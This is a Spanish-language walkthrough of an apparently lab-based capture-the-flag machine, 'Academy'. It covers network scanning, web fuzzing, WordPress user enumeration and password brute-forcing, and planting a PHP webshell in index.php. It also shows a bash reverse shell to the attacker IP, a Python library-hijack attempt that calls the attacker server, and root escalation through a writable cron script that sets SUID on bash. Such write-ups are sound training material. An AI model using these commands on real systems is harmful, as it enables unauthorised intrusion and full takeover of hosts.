![]() |
|
| Máquina: Academy | |
| SO: Linux | |
| Dificultad: Facil | |
| Descarga |

1. Detecto los equipos activos en la red.
sudo arp-scan -l

2. Escaneo los puertos y detalles de los servicios que corre.
sudo nmap -p- --open -T5 -sCV --min-rate=5000 -n -Pn 192.168.1.9

3. En la web esta la web por defecto de Apache.
http://192.168.1.9

4. Fuzzing de directorios y ficheros en la web.
gobuster dir -u http://192.168.1.9/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -q

5. Analizando la web en /wordpress.
5.1- La pagina no carga correctamente
http://192.168.1.9/wordpress/

5.2- En su fuente veo que llama a un dominio

5.3- Agrego el dominio al hosts, ahora la carga es correcta
sudo nano /etc/hosts
192.168.1.9 academy.thl

6. Sigo con mas fuzzing en la web, no encuentro mucho mas.
gobuster dir -u http://192.168.1.9/wordpress/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -q

7. Escaneo vulnerabilidades con wpscan, encuentra un usuario valido.
wpscan --url http://192.168.1.9/wordpress -e vp,u --api-token='pasteyourapi'

8. Hago fuerza bruta al login de wordpress.
wpscan --url http://192.168.1.9/wordpress -U dylan -P /usr/share/wordlists/rockyou.txt

9. Accedo al wordpress con las credenciales.
http://192.168.1.9/wordpress/wp-login.php

10. Obteniendo una webshell.
10.1- Clickamos en file manager, y editamos el index.php

10.2- Añadimos nuestro codigo para ejecutar webshell
shell_exec($_GET["cmd"]);

10.3- Probamos la ejecucion
academy.thl/wordpress/?cmd=cat /etc/passwd

11. Entablando conexion con una reverse shell.
11.1- Me pongo en escucha
sudo nc -nlvp 443

11.2- Me envio la reverse shell
http://academy.thl/wordpress/?cmd=bash -c "bash -i>%26 /dev/tcp/192.168.1.13/443 0>%261"

11.3- Recibo la conexion

12. Encuentro un script python, veo que no especifica la ruta completa de la libreria.
cd /opt
ls
cat backup.py

- Aparentemente realiza una conexion por ssh, pero al ejecutar nos da un error
13. Probando Python Library Hijacking.
13.1- Creo una script paramiko.py donde hare una peticion a mi servidor local
echo -e "import os\nos.system('curl -s http://192.168.1.13/prueba')" > paramiko.py
cat paramiko.py

13.2- Veo que si funciona, pero esto no tiene sentido ya que ejecutamos sin privilegio alguno, es como ejecutar el mismo paramiko.py
python3 -m http.server 80
python3 backup.py

14. Escalando privilegios.
14.1- Uso pspy64 para ver los procesos, al cabo de unos segundos veo que root busca ejecutar /opt/backup.sh
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -q
chmod +x pspy64
./pspy64

14.2- Creo el backup.sh con instrucciones para hacer suid el bash
echo "chmod u+s /bin/bash" > backup.sh
chmod +x backup.sh

14.3- Esperamos unos segundos para luego ejecutar bash -p
ls -l /bin/bash
bash -p

